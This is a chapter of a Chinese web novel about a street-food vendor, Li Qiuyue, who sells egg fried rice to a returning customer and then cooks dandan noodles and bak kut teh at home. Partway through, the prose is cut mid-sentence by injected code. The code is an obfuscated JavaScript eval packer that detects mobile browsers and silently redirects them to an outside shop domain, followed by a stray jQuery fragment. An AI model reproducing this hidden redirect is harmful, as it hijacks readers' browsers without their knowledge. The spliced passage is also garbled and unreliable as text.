“还有蛋炒饭吗?”
钟桐没上演“你果然认不出我”的大戏,而是抓住了自己的主要需求。
虽然她只找到了两次黎秋月的摊子,但结合错过的桂花藕,便有了相对稳定的数据,并得出黎秋月摊子上的吃食有质量保障的结论。
别看这蛋炒饭卖的贵,但尝过黎秋月手艺的人都会光速成为回头客,偏这摊主又喜欢享受,每次准备的东西都不多,钟桐是真的担心自己辛辛苦苦找到了人,结果摊主张嘴就是一句卖完了。
“还有两份。”
最糟糕的结果没有出现,钟桐果断扫码包圆。
“一份金包银,一份银包金,多加点豌豆。”
作为一个不缺钱的成年人,在摊子上有两种选择的时候她当然是都要,还习惯性的说了自己的偏好。
“只有葱花。”
黎秋月果断拒绝了钟桐的小要求,她今天只带了鸡蛋和米饭,调料除了切好的小葱就只有油和盐,味道全靠食材和厨艺撑着。
加豌豆,那是扬州炒饭的做法,学习空间的老师会,但她不想回去学。
“那好吧。”
钟桐被拒绝也不失望,心里的期待反倒更多了些。
她家算不上什么豪门,但也是能雇的起私人厨师的水平,她五六岁的时候家里的厨子攒够养老钱辞职了,要雇个新厨,因为钟家人好待遇也不错,好东西人人抢,让钟桐有机会看到一场小小的厨师选拔赛。
那场选拔赛的题目是养老厨师给的建议,先让厨师炖个鸡汤看文火,再让厨子做个青椒炒肉瞧武火,最后再来个蛋炒饭看手艺。
三次选拔下来,最后剩了两个厨师,钟家人选了更有眼缘的那个,但给钟桐留下深刻印象的,却是一个做了蛋炒饭的厨子。
这个厨子的鸡汤和辣椒炒肉水平都很一般,唯独金包银蛋炒饭做的登峰造极,就像是偏科的天才,让钟桐尝过一口便念念不忘,可惜钟家讲究的是木桶定律,这个厨子最后还是没有留下来。
不过这个厨子的生活也并不差,现在她在沪市开了一家私房菜馆,蛋炒饭就是其中的招牌,一份能卖出四位数的价钱。
黎秋月并不知道钟桐的心里藏着多少期待,因为是做最后两个蛋炒饭,她也没收着力气,时不时就来个小翻勺,偶尔还来个大翻勺,就是蛋炒饭的米粒粒分开,让黎秋月的炫技少了点观赏性。
“好了。”
盒底放在一次性饭盒下面,黎秋月把两个蛋炒饭连着勺筷塑料袋往钟桐手上一怼,时间刚好从1:59跳到两点整,她转身就把地上的椅子马扎一收,一拧把手溜了。
下班!
钟桐只觉得双手一暖,然后一阵风刮过,刚刚还在这的小三轮转眼就没了影。
再转头一看,好家伙,车都过拐角了!
“有那么着急吗。”
钟桐有些无语的吐槽一句,黎秋月听到了肯定要怼回去——
当然急!
下班不积极,思想有问题!
钟桐托着两个饭盒也不敢快走,左右瞧瞧进了旁边相对大点的饭店。
“要个小包间。”
老板给钟桐开了空调,钟桐把两个一次性饭盒放到桌上,用手指试试盒侧的温度,就先出门点菜了。
江西的饭店多数是把食材摆出来,要什么菜自己点,高档些的地方也就是将墙上的菜单换成了雕刻着菜名的木条或竹片,但菜一定是能让人看到的,这个饭店也不例外。
“一个三杯鸡,一个羊肉,加一份鱼头煲,给我打包带走。”
就像一些人为了醋包一碟饺子,钟桐是为了包间才点菜的,所以她点的都是硬菜,直接打包好了方便回头分。
花了钱,钟桐终于能安心享受美味。
***
黎秋月高高兴兴的到了家,把摆摊的东西洗刷干净,就躺到床上不想动了。
不甘被忽视的肚子一直彰显着它的存在感,在躺了半个小时还是饿的睡不着后,黎秋月只能慢吞吞的爬起来,一边吃香葱味的苏打饼干,一边思索做什么吃。
饼干?
填肚子的小零食而已,怎么能替代正餐!
今天的运气一般般,开出一份四两的小包龙须面,黎秋月不想正经坐上三五个菜,又看到冰箱里的芽菜,索性吃个担担面。
洗干净的芽菜泡到水里去咸,然后捞出切成碎末,放到提前用葱姜蒜爆香过的油里翻炒,等到温热的时候加入切好的猪肉丁,按照自己的口味放点调料,把芽菜炒干出锅就是上好的浇头。
辣椒粉和白芝麻放到瓷碗里,洗干净的锅里倒油放大料,用小火慢慢炒出香味再把大料捞出来,油趁热往碗里一倒,只听到滋啦一声响,辣椒的冲鼻气味和芝麻的焦香一起爆发,搅拌均匀就是上好的红油。
浇头准备,红油做好,剩下的就是煮面和调料汁。
料汁做法算不上复杂,无非是花生酱芝麻酱混合加水花开,放生抽红油花椒油,最后撒点醋进去解腻;面条则更方便,沸水下面煮两分钟捞出来,再用剩下的水焯生菜。
黄豆之前换口味的时候炸了不少,因为保存的好,现在也是酥酥脆脆,黎秋月也就没再费火。
料汁倒到面条上,芽菜肉丁的浇头全都扣上去,生菜放到一边做点缀,再舀两勺面汤进碗,撒一把酥脆的黄豆,就等温度降下来开吃!
面条的色泽红亮,一口下去味蕾最先感知到的是酸,却不是酸倒牙的程度,而是刚刚好的开胃,等到食欲开启,鲜味和辣味才会接踵而至,让人最大程度的享受美味。
黎秋月炒浇头的手艺很不错,芽菜本来应该用肉末炒,但黎秋月想多吃点肉就用了肉丁,没想到二者的滋味完美融合,比原来的搭配味道还好。
面条辣而不燥,酸而不腻,配上时不时吃到的酥脆黄豆,黎秋月吃的酣畅淋漓,只觉得给个神仙都不换!
一碗面条下肚,黎秋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14273443|148216||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
月的额头出了一层细汗,只觉得浑身都是暖洋洋的,哼着歌把碗筷丢到洗衣机,缩进被子没一会儿就睡着了。
睡得早也醒的早,黎秋月睁开眼睛还是一片漆黑,摁亮手机看看时间,刚好三点半。
睡不着也不想闲着,索性煮一份肉骨茶。
冰箱里的猪肋排是下午回家时候买的,被剁成十多公分的小长段,黎秋月本来打算做手抓排骨,现在实在馋肉骨茶,这道菜谱只能下次再见。
肋排被冷水下锅,撇掉血水浮沫煮熟捞出过冷水洗净,再把排骨放回开水锅里,丢两个扒了皮的大蒜,放一包肉骨茶的调料包小火慢炖。
这个调料包是黎秋月去老中医那边复查的时候,找老中医配的,价钱比超市的要贵,但胜在搭配平衡材料好,黎秋月也觉得划得来,还琢磨着下次可以配点其他的料包。
肉骨茶跟很多菜一样没有固定的配方,料包里面是最关键的几昧料,还要加什么全看自己的喜好,比如黎秋月这回想吃有点甜味的,就撒了一把红枣进去,为了养生还加了枸杞,最后把甘蔗节也丢了进去。
锅在火上炖着,开锅后撇掉浮油就不用管了,黎秋月一边把昨天煮好的米饭搅散,一边时不时瞄两眼手机,不知不觉两个小时过去,肉骨茶也终于做好,黎秋月掀开锅盖,一股香味便飞快的占据了厨房。
楼上楼下都有灯亮起,偶尔还混杂着少量的哭声,顺着没关的窗户传入黎秋月的耳朵,让她在心里感叹现在的人类果然很卷,让幼崽五点半就要爬起来学习。
被馋哭的小孩:……
戳一块排骨尝尝味道,咸淡始终,便撒了些白胡椒粉出锅。
甘蔗的甜味,红枣的香味,跟肉成了一种奇妙的搭配,黎秋月有些形容不出来,非要说的话,这份肉骨茶很像是《十万个冷笑话》里面的哪吒,甜给人更多的是力量感,而不是甜汤般纯粹的柔软与可爱。
排骨上的肉很好撕下来,黎秋月一咬就是一大口的满足,蔬菜令人健康,白肉令人养生,但这个时候的黎秋月只会毫无保留的偏向红肉,这是再多药材中和也能分辨出来的勃勃生机!
先吃肉,再喝汤,黎秋月消化快却胃口小,她又吃的用力,最后一块排骨被啃干净的时候,她的额头已经冒出一层细汗,肚子也有些吃撑了。
虽然消化也没多少功夫,现在的李秋月却是一口汤都喝不下去,只能把汤先用小火热着,等能吃下去的时候再端。
空荡荡的汤在灶台上不太好看,黎秋月站在冰箱前沉思一会儿,扒拉出一块嫩豆腐,托在手上三两下切碎了放到汤里,准备回头一起吃。
半小时后。
“好吃哎!”
黎秋月激动的戳戳系统,又夹起一块豆腐塞进嘴里。
炖了半小时的豆腐吸收了汤的原味,到嘴里烫的斯哈斯哈,却还是忍不住一块接一块的夹。
一碗热豆腐下肚,黎秋月被撑得几乎走不动路,却半点不后悔。